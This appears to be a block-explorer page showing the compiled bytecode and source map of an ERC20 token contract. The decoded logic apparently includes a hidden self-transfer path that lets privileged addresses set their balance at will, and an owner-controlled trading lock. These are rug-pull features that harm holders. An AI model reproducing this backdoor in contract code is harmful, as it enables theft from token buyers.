206f766572666c6f6044820152607760f81b606482015260840161074c565b60006106b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361115e5760405162461bcd60e51b815260040161074c919061116b565b506000610e1f848661139f565b600060208083528351808285015260005b818110156111985785810183015185820160400152820161117c565b818111156111aa576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146111d757600080fd5b919050565b600080604083850312156111ef57600080fd5b6111f8836111c0565b946020939093013593505050565b60008060006060848603121561121b57600080fd5b611224846111c0565b9250611232602085016111c0565b9150604084013590509250925092565b6000806040838503121561125557600080fd5b61125e836111c0565b91506020830135801515811461127357600080fd5b809150509250929050565b60006020828403121561129057600080fd5b6106b2826111c0565b600080604083850312156112ac57600080fd5b6112b5836111c0565b91506112c3602084016111c0565b90509250929050565b600181811c908216806112e057607f821691505b60208210810361130057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156113635761136361133b565b500390565b6000821982111561137b5761137b61133b565b500190565b600081600019048311821515161561139a5761139a61133b565b500290565b6000826113bc57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202c47eae8b4b120db4461904a420469e44823a31c53923282d023326296aec41864736f6c634300080d0033

Deployed Bytecode

0x6080604052600436106101855760003560e01c8063557ed1ba116100d1578063a457c2d71161008a578063c816841b11610064578063c816841b146104e6578063ca9ec1991461050b578063dd62ed3e1461053f578063f2fde38b1461058557600080fd5b8063a457c2d714610476578063a9059cbb14610496578063c38ebac4146104b657600080fd5b8063557ed1ba146103d05780636c580801146103e357806370a08231146103f8578063715018a61461042e5780638da5cb5b1461044357806395d89b411461046157600080fd5b80632b112e491161013e578063395093511161011857806339509351146103185780633eaaf86b1461033857806342a110951461036c578063512952f0146103a057600080fd5b80632b112e49146102b5578063313ce567146102ca57806331d5c249146102f657600080fd5b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101ec57806318160ddd1461022457806323b872dd1461026157806327c8f8351461028157600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105a5565b6040516101b3919061116b565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046111dc565b610637565b60405190151581526020016101b3565b3480156101f857600080fd5b50600a5461020c906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561023057600080fd5b507f00000000000000000000000000000000000000000000000030927f74c9de00005b6040519081526020016101b3565b34801561026d57600080fd5b506101dc61027c366004611206565b61064e565b34801561028d57600080fd5b5061020c7f000000000000000000000000000000000000000000000000000000000000dead81565b3480156102c157600080fd5b506102536106b9565b3480156102d657600080fd5b50600354600160a81b900460ff1660405160ff90911681526020016101b3565b34801561030257600080fd5b50610316610311366004611242565b610722565b005b34801561032457600080fd5b506101dc6103333660046111dc565b610780565b34801561034457600080fd5b506102537f00000000000000000000000000000000000000000000000030927f74c9de000081565b34801561037857600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000481565b3480156103ac57600080fd5b506101dc6103bb36600461127e565b60096020526000908152604090205460ff1681565b3480156103dc57600080fd5b5042610253565b3480156103ef57600080fd5b506103166107b6565b34801561040457600080fd5b5061025361041336600461127e565b6001600160a01b031660009081526006602052604090205490565b34801561043a57600080fd5b506103166107ef565b34801561044f57600080fd5b506000546001600160a01b031661020c565b34801561046d57600080fd5b506101a6610869565b34801561048257600080fd5b506101dc6104913660046111dc565b610878565b3480156104a257600080fd5b506101dc6104b13660046111dc565b6108c7565b3480156104c257600080fd5b506101dc6104d136600461127e565b60076020526000908152604090205460ff1681565b3480156104f257600080fd5b5060035461020c9061010090046001600160a01b031681565b34801561051757600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000281565b34801561054b57600080fd5b5061025361055a366004611299565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561059157600080fd5b506103166105a036600461127e565b6108d4565b6060600480546105b4906112cc565b80601f01602080910402602001604051908101604052809291908181526020018280546105e0906112cc565b801561062d5780601f106106025761010080835404028352916020019161062d565b820191906000526020600020905b81548152906001019060200180831161061057829003601f168201915b5050505050905090565b60006106443384846109be565b5060015b92915050565b600061065b848484610ae2565b506106ae84336106a9856040518060600160405280602881526020016113c2602891396001600160a01b038a1660009081526008602090815260408083203384529091529020549190610dee565b6109be565b5060015b9392505050565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead1660009081526006602052604081205461071d907f00000000000000000000000000000000000000000000000030927f74c9de000090610e28565b905090565b6000546001600160a01b031633146107555760405162461bcd60e51b815260040161074c90611306565b60405180910390fd5b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b3360008181526008602090815260408083206001600160a01b038716845290915281205490916106449185906106a99086610e6a565b6000546001600160a01b031633146107e05760405162461bcd60e51b815260040161074c90611306565b6003805460ff19166001179055565b6000546001600160a01b031633146108195760405162461bcd60e51b815260040161074c90611306565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6060600580546105b4906112cc565b600061064433846106a9856040518060600160405280602581526020016113ea602591393360009081526008602090815260408083206001600160a01b038d1684529091529020549190610dee565b60006106ae338484610ae2565b6000546001600160a01b031633146108fe5760405162461bcd60e51b815260040161074c90611306565b6001600160a01b0381166109635760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161074c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161074c565b6001600160a01b038216610a815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161074c565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526009602052604081205460ff16158015610b1957506000546001600160a01b03858116911614155b8015610b3e57506001600160a01b03841660009081526007602052604090205460ff16155b15610b935760035460ff161515600003610b935760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161074c565b826001600160a01b0316846001600160a01b031603610be6576001600160a01b03841660009081526007602052604090205460ff1615610be65750600082815260066020526040902081905560016106b2565b6001600160a01b038416610c4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161074c565b6001600160a01b038316610cac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161074c565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260069091529190912054610cfe918490610dee565b6001600160a01b038516600090815260066020908152604080832093909355600790529081205460ff1680610d4b57506001600160a01b03841660009081526007602052604090205460ff165b610d5f57610d5a858585610ec9565b610d61565b825b6001600160a01b038516600090815260066020526040902054909150610d879082610e6a565b6001600160a01b0380861660008181526006602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ddb9085815260200190565b60405180910390a3506001949350505050565b60008184841115610e125760405162461bcd60e51b815260040161074c919061116b565b506000610e1f8486611351565b95945050505050565b60006106b283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dee565b600080610e778385611368565b9050838110156106b25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161074c565b6001600160a01b038316600090815260096020526040812054819060ff1615610f2857610f216064610f1b857f000000000000000000000000000000000000000000000000000000000000000461107e565b90611100565b9050610f7b565b6001600160a01b03841660009081526009602052604090205460ff1615610f7b57610f786064610f1b857f000000000000000000000000000000000000000000000000000000000000000261107e565b90505b8015611074576001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead16600090815260066020526040902054610fc49082610e6a565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead811660008181526006602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110389085815260200190565b60405180910390a36040518181527fee46d471733b0bd7a506ceb1788a4087701a73b361fe28b6a49ef028eedc2d299060200160405180910390a15b610e1f8382610e28565b60008260000361109057506000610648565b600061109c8385611380565b9050826110a9858361139f565b146106b25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161074c565b60006106b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361115e5760405162461bcd60e51b815260040161074c919061116b565b506000610e1f848661139f565b600060208083528351808285015260005b818110156111985785810183015185820160400152820161117c565b818111156111aa576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146111d757600080fd5b919050565b600080604083850312156111ef57600080fd5b6111f8836111c0565b946020939093013593505050565b60008060006060848603121561121b57600080fd5b611224846111c0565b9250611232602085016111c0565b9150604084013590509250925092565b6000806040838503121561125557600080fd5b61125e836111c0565b91506020830135801515811461127357600080fd5b809150509250929050565b60006020828403121561129057600080fd5b6106b2826111c0565b600080604083850312156112ac57600080fd5b6112b5836111c0565b91506112c3602084016111c0565b90509250929050565b600181811c908216806112e057607f821691505b60208210810361130057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156113635761136361133b565b500390565b6000821982111561137b5761137b61133b565b500190565b600081600019048311821515161561139a5761139a61133b565b500290565b6000826113bc57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202c47eae8b4b120db4461904a420469e44823a31c53923282d023326296aec41864736f6c634300080d0033

Deployed Bytecode Sourcemap

11525:5997:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13688:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14859:161;;;;;;;;;;-1:-1:-1;14859:161:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;14859:161:0;1053:187:1;12331:41:0;;;;;;;;;;-1:-1:-1;12331:41:0;;;;-1:-1:-1;;;;;12331:41:0;;;;;;-1:-1:-1;;;;;1436:32:1;;;1418:51;;1406:2;1391:18;12331:41:0;1245:230:1;13965:100:0;;;;;;;;;;-1:-1:-1;14045:12:0;13965:100;;;1626:25:1;;;1614:2;1599:18;13965:100:0;1480:177:1;15901:313:0;;;;;;;;;;-1:-1:-1;15901:313:0;;;;;:::i;:::-;;:::i;11670:81::-;;;;;;;;;;;;;;;15590:128;;;;;;;;;;;;;:::i;13874:83::-;;;;;;;;;;-1:-1:-1;13940:9:0;;-1:-1:-1;;;13940:9:0;;;;13874:83;;2375:4:1;2363:17;;;2345:36;;2333:2;2318:18;13874:83:0;2203:184:1;15450:132:0;;;;;;;;;;-1:-1:-1;15450:132:0;;;;;:::i;:::-;;:::i;:::-;;14356:218;;;;;;;;;;-1:-1:-1;14356:218:0;;;;;:::i;:::-;;:::i;11758:67::-;;;;;;;;;;;;;;;11832:35;;;;;;;;;;;;;;;12272:52;;;;;;;;;;-1:-1:-1;12272:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3594:90;;;;;;;;;;-1:-1:-1;3661:15:0;3594:90;;15028:69;;;;;;;;;;;;;:::i;14073:124::-;;;;;;;;;;-1:-1:-1;14073:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;14166:23:0;14139:7;14166:23;;;:14;:23;;;;;;;14073:124;3094:230;;;;;;;;;;;;;:::i;2869:79::-;;;;;;;;;;-1:-1:-1;2907:7:0;2934:6;-1:-1:-1;;;;;2934:6:0;2869:79;;13779:87;;;;;;;;;;;;;:::i;14582:269::-;;;;;;;;;;-1:-1:-1;14582:269:0;;;;;:::i;:::-;;:::i;15726:167::-;;;;;;;;;;-1:-1:-1;15726:167:0;;;;;:::i;:::-;;:::i;12144:45::-;;;;;;;;;;-1:-1:-1;12144:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11603:26;;;;;;;;;;-1:-1:-1;11603:26:0;;;;;;;-1:-1:-1;;;;;11603:26:0;;;11874:37;;;;;;;;;;;;;;;14205:143;;;;;;;;;;-1:-1:-1;14205:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;14313:18:0;;;14286:7;14313:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;14205:143;3338:244;;;;;;;;;;-1:-1:-1;3338:244:0;;;;;:::i;:::-;;:::i;13688:83::-;13725:13;13758:5;13751:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13688:83;:::o;14859:161::-;14934:4;14951:39;873:10;14974:7;14983:6;14951:8;:39::i;:::-;-1:-1:-1;15008:4:0;14859:161;;;;;:::o;15901:313::-;15999:4;16016:36;16026:6;16034:9;16045:6;16016:9;:36::i;:::-;-1:-1:-1;16063:121:0;16072:6;873:10;16094:89;16132:6;16094:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16094:19:0;;;;;;:11;:19;;;;;;;;873:10;16094:33;;;;;;;;;;:37;:89::i;:::-;16063:8;:121::i;:::-;-1:-1:-1;16202:4:0;15901:313;;;;;;:::o;15590:128::-;-1:-1:-1;;;;;15697:11:0;14166:23;15643:7;14166:23;;;:14;:23;;;;;;15670:40;;:12;;:16;:40::i;:::-;15663:47;;15590:128;:::o;15450:132::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;15535:28:0;;;::::1;;::::0;;;:19:::1;:28;::::0;;;;:39;;-1:-1:-1;;15535:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15450:132::o;14356:218::-;873:10;14444:4;14493:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14493:34:0;;;;;;;;;;14444:4;;14461:83;;14484:7;;14493:50;;14532:10;14493:38;:50::i;15028:69::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;15078:6:::1;:11:::0;;-1:-1:-1;;15078:11:0::1;15085:4;15078:11;::::0;;15028:69::o;3094:230::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;3185:6:::1;::::0;;3164:81:::1;::::0;3201:42:::1;::::0;-1:-1:-1;;;;;3185:6:0;;::::1;::::0;3164:81:::1;::::0;::::1;3256:6;:60:::0;;-1:-1:-1;;;;;;3256:60:0::1;3273:42;3256:60;::::0;;3094:230::o;13779:87::-;13818:13;13851:7;13844:14;;;;;:::i;14582:269::-;14675:4;14692:129;873:10;14715:7;14724:96;14763:15;14724:96;;;;;;;;;;;;;;;;;873:10;14724:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14724:34:0;;;;;;;;;;;;:38;:96::i;15726:167::-;15804:4;15821:42;873:10;15845:9;15856:6;15821:9;:42::i;3338:244::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3427:22:0;::::1;3419:73;;;::::0;-1:-1:-1;;;3419:73:0;;4148:2:1;3419:73:0::1;::::0;::::1;4130:21:1::0;4187:2;4167:18;;;4160:30;4226:34;4206:18;;;4199:62;-1:-1:-1;;;4277:18:1;;;4270:36;4323:19;;3419:73:0::1;3946:402:1::0;3419:73:0::1;3529:6;::::0;;3508:38:::1;::::0;-1:-1:-1;;;;;3508:38:0;;::::1;::::0;3529:6;::::1;::::0;3508:38:::1;::::0;::::1;3557:6;:17:::0;;-1:-1:-1;;;;;;3557:17:0::1;-1:-1:-1::0;;;;;3557:17:0;;;::::1;::::0;;;::::1;::::0;;3338:244::o;15105:337::-;-1:-1:-1;;;;;15198:19:0;;15190:68;;;;-1:-1:-1;;;15190:68:0;;4555:2:1;15190:68:0;;;4537:21:1;4594:2;4574:18;;;4567:30;4633:34;4613:18;;;4606:62;-1:-1:-1;;;4684:18:1;;;4677:34;4728:19;;15190:68:0;4353:400:1;15190:68:0;-1:-1:-1;;;;;15277:21:0;;15269:68;;;;-1:-1:-1;;;15269:68:0;;4960:2:1;15269:68:0;;;4942:21:1;4999:2;4979:18;;;4972:30;5038:34;5018:18;;;5011:62;-1:-1:-1;;;5089:18:1;;;5082:32;5131:19;;15269:68:0;4758:398:1;15269:68:0;-1:-1:-1;;;;;15350:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15402:32;;1626:25:1;;;15402:32:0;;1599:18:1;15402:32:0;;;;;;;15105:337;;;:::o;16224:1250::-;-1:-1:-1;;;;;16333:30:0;;16311:4;16333:30;;;:19;:30;;;;;;;;16332:31;:52;;;;-1:-1:-1;2907:7:0;2934:6;-1:-1:-1;;;;;16367:17:0;;;2934:6;;16367:17;;16332:52;:77;;;;-1:-1:-1;;;;;;16389:20:0;;;;;;:12;:20;;;;;;;;16388:21;16332:77;16328:147;;;16433:6;;;;:15;;:6;:15;16425:50;;;;-1:-1:-1;;;16425:50:0;;5363:2:1;16425:50:0;;;5345:21:1;5402:2;5382:18;;;5375:30;-1:-1:-1;;;5421:18:1;;;5414:52;5483:18;;16425:50:0;5161:346:1;16425:50:0;16512:9;-1:-1:-1;;;;;16502:19:0;:6;-1:-1:-1;;;;;16502:19:0;;16499:374;;-1:-1:-1;;;;;16540:20:0;;;;;;:12;:20;;;;;;;;16537:323;;;-1:-1:-1;16623:1:0;16616:20;;;16673:19;16669:2;16662:31;16744:2;16731:16;;16773:20;;;16839:4;16832:11;;16537:323;-1:-1:-1;;;;;16893:20:0;;16885:70;;;;-1:-1:-1;;;16885:70:0;;5714:2:1;16885:70:0;;;5696:21:1;5753:2;5733:18;;;5726:30;5792:34;5772:18;;;5765:62;-1:-1:-1;;;5843:18:1;;;5836:35;5888:19;;16885:70:0;5512:401:1;16885:70:0;-1:-1:-1;;;;;16974:23:0;;16966:71;;;;-1:-1:-1;;;16966:71:0;;6120:2:1;16966:71:0;;;6102:21:1;6159:2;6139:18;;;6132:30;6198:34;6178:18;;;6171:62;-1:-1:-1;;;6249:18:1;;;6242:33;6292:19;;16966:71:0;5918:399:1;16966:71:0;17075:58;;;;;;;;;;;-1:-1:-1;;;17075:58:0;;;;;;;;-1:-1:-1;;;;;17075:22:0;;-1:-1:-1;17075:22:0;;;:14;:22;;;;;;;;:58;;17102:6;;17075:26;:58::i;:::-;-1:-1:-1;;;;;17050:22:0;;;;;;:14;:22;;;;;;;;:83;;;;17169:12;:20;;;;;;;;;:47;;-1:-1:-1;;;;;;17193:23:0;;;;;;:12;:23;;;;;;;;17169:47;17168:133;;17271:30;17275:6;17283:9;17294:6;17271:3;:30::i;:::-;17168:133;;;17262:6;17168:133;-1:-1:-1;;;;;17344:25:0;;;;;;:14;:25;;;;;;17146:155;;-1:-1:-1;17344:42:0;;17146:155;17344:29;:42::i;:::-;-1:-1:-1;;;;;17316:25:0;;;;;;;:14;:25;;;;;;;:70;;;;17404:40;;;;;;;;;;17432:11;1626:25:1;;1614:2;1599:18;;1480:177;17404:40:0;;;;;;;;-1:-1:-1;17462:4:0;;16224:1250;-1:-1:-1;;;;16224:1250:0:o;1380:192::-;1466:7;1502:12;1494:6;;;;1486:29;;;;-1:-1:-1;;;1486:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1526:9:0;1538:5;1542:1;1538;:5;:::i;:::-;1526:17;1380:192;-1:-1:-1;;;;;1380:192:0:o;1236:136::-;1294:7;1321:43;1325:1;1328;1321:43;;;;;;;;;;;;;;;;;:3;:43::i;1047:181::-;1105:7;;1137:5;1141:1;1137;:5;:::i;:::-;1125:17;;1166:1;1161;:6;;1153:46;;;;-1:-1:-1;;;1153:46:0;;6919:2:1;1153:46:0;;;6901:21:1;6958:2;6938:18;;;6931:30;6997:29;6977:18;;;6970:57;7044:18;;1153:46:0;6717:351:1;13032:648:0;-1:-1:-1;;;;;13175:22:0;;13101:7;13175:22;;;:19;:22;;;;;;13101:7;;13175:22;;13172:203;;;13225:28;13249:3;13225:19;:6;13236:7;13225:10;:19::i;:::-;:23;;:28::i;:::-;13214:39;;13172:203;;;-1:-1:-1;;;;;13284:22:0;;;;;;:19;:22;;;;;;;;13281:94;;;13334:29;13359:3;13334:20;:6;13345:8;13334:10;:20::i;:29::-;13323:40;;13281:94;13398:12;;13395:238;;-1:-1:-1;;;;;13489:11:0;13466:36;;;;;:14;:36;;;;;;:50;;13507:8;13466:40;:50::i;:::-;-1:-1:-1;;;;;13450:11:0;13427:36;;;;;;:14;:36;;;;;;;:89;;;;13536:43;;;;;;;;;;13570:8;1626:25:1;;1614:2;1599:18;;1480:177;13536:43:0;;;;;;;;13599:22;;1626:25:1;;;13599:22:0;;1614:2:1;1599:18;13599:22:0;;;;;;;13395:238;13652:20;:6;13663:8;13652:10;:20::i;1580:250::-;1638:7;1662:1;1667;1662:6;1658:47;;-1:-1:-1;1692:1:0;1685:8;;1658:47;1717:9;1729:5;1733:1;1729;:5;:::i;:::-;1717:17;-1:-1:-1;1762:1:0;1753:5;1757:1;1717:17;1753:5;:::i;:::-;:10;1745:56;;;;-1:-1:-1;;;1745:56:0;;7670:2:1;1745:56:0;;;7652:21:1;7709:2;7689:18;;;7682:30;7748:34;7728:18;;;7721:62;-1:-1:-1;;;7799:18:1;;;7792:31;7840:19;;1745:56:0;7468:397:1;1838:132:0;1896:7;1923:39;1927:1;1930;1923:39;;;;;;;;;;;;;;;;;2064:7;2099:12;2092:5;2084:28;;;;-1:-1:-1;;;2084:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2123:9:0;2135:5;2139:1;2135;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1662:328::-;1739:6;1747;1755;1808:2;1796:9;1787:7;1783:23;1779:32;1776:52;;;1824:1;1821;1814:12;1776:52;1847:29;1866:9;1847:29;:::i;:::-;1837:39;;1895:38;1929:2;1918:9;1914:18;1895:38;:::i;:::-;1885:48;;1980:2;1969:9;1965:18;1952:32;1942:42;;1662:328;;;;;:::o;2392:347::-;2457:6;2465;2518:2;2506:9;2497:7;2493:23;2489:32;2486:52;;;2534:1;2531;2524:12;2486:52;2557:29;2576:9;2557:29;:::i;:::-;2547:39;;2636:2;2625:9;2621:18;2608:32;2683:5;2676:13;2669:21;2662:5;2659:32;2649:60;;2705:1;2702;2695:12;2649:60;2728:5;2718:15;;;2392:347;;;;;:::o;2744:186::-;2803:6;2856:2;2844:9;2835:7;2831:23;2827:32;2824:52;;;2872:1;2869;2862:12;2824:52;2895:29;2914:9;2895:29;:::i;2935:260::-;3003:6;3011;3064:2;3052:9;3043:7;3039:23;3035:32;3032:52;;;3080:1;3077;3070:12;3032:52;3103:29;3122:9;3103:29;:::i;:::-;3093:39;;3151:38;3185:2;3174:9;3170:18;3151:38;:::i;:::-;3141:48;;2935:260;;;;;:::o;3200:380::-;3279:1;3275:12;;;;3322;;;3343:61;;3397:4;3389:6;3385:17;3375:27;;3343:61;3450:2;3442:6;3439:14;3419:18;3416:38;3413:161;;3496:10;3491:3;3487:20;3484:1;3477:31;3531:4;3528:1;3521:15;3559:4;3556:1;3549:15;3413:161;;3200:380;;;:::o;3585:356::-;3787:2;3769:21;;;3806:18;;;3799:30;3865:34;3860:2;3845:18;;3838:62;3932:2;3917:18;;3585:356::o;6322:127::-;6383:10;6378:3;6374:20;6371:1;6364:31;6414:4;6411:1;6404:15;6438:4;6435:1;6428:15;6454:125;6494:4;6522:1;6519;6516:8;6513:34;;;6527:18;;:::i;:::-;-1:-1:-1;6564:9:1;;6454:125::o;6584:128::-;6624:3;6655:1;6651:6;6648:1;6645:13;6642:39;;;6661:18;;:::i;:::-;-1:-1:-1;6697:9:1;;6584:128::o;7073:168::-;7113:7;7179:1;7175;7171:6;7167:14;7164:1;7161:21;7156:1;7149:9;7142:17;7138:45;7135:71;;;7186:18;;:::i;:::-;-1:-1:-1;7226:9:1;;7073:168::o;7246:217::-;7286:1;7312;7302:132;;7356:10;7351:3;7347:20;7344:1;7337:31;7391:4;7388:1;7381:15;7419:4;7416:1;7409:15;7302:132;-1:-1:-1;7448:9:1;;7246:217::o

Swarm Source

ipfs://2c47eae8b4b120db4461904a420469e44823a31c53923282d023326296aec418
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.